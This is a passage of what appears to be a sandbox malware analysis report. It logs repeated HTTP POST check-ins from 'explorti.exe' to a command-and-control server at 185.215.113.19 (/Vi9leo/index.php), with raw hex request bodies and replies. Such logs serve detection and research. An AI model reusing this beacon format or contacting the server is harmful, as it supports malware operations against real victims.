Sep 1, 2024 02:48:55.048932076 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:55.802963972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:55.803704977 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:56.051522017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49842	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:56.158427000 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:56.916181087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:56.924199104 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:57.174242020 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49843	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:57.297130108 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:58.036016941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:58.079521894 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:58.325192928 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49844	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:58.440500021 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:59.187427044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:59.191881895 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:59.438112974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49845	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:59.588509083 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:00.332685947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:49:00.333362103 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:00.582875013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49846	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:00.704880953 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:01.442142010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:49:01.447381973 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:01.692179918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49847	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:01.800261974 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:02.540719032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:49:02.543498039 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:02.790427923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49848	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:03.013634920 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:03.805780888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:49:04.040149927 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:04.292263031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49849	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:04.426476002 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:05.186767101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49850	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:05.195225954 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:05.945496082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49851	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:06.092768908 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:06.842897892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49852	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:06.851608992 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:07.622580051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49853	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:07.741422892 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49854	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:07.760310888 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:08.517893076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49855	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:08.645643950 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49856	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:08.659790039 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:09.408638954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49857	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:09.663979053 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:10.402956009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49858	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
